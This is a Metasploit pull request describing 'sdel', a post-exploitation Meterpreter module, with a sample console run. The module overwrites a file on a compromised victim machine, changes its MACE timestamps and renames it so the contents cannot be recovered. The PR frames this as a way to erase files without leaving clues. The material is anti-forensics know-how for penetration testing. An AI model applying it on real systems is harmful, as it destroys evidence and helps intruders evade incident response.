rapid7/metasploit-framework — pull request #846 by bmerinofe (2012-10-01 23:42:59+00:00)
Title: added "sdel":  post meterpreter module to overwrite file contents

The goal of the script is to hinder the recovery of deleted files by overwriting its contents. This could be useful when you need to download some file on the victim machine (from a meterpreter session) and then delete it without leaving clues about its contents.

Ej:

msf post(sdel) > set session 1
session => 1
msf post(sdel) > set file hash.exe
file => hash.exe
msf post(sdel) > run

[*] Size of the file: 5657
[*] Cluster Size: 4096
[*] Size on disk: 8192
[*] 8192 bytes overwritten
[*] Changing MACE attributes
[*] Changing file name
[+] File erased!
[*] Post module execution completed
msf post(sdel) >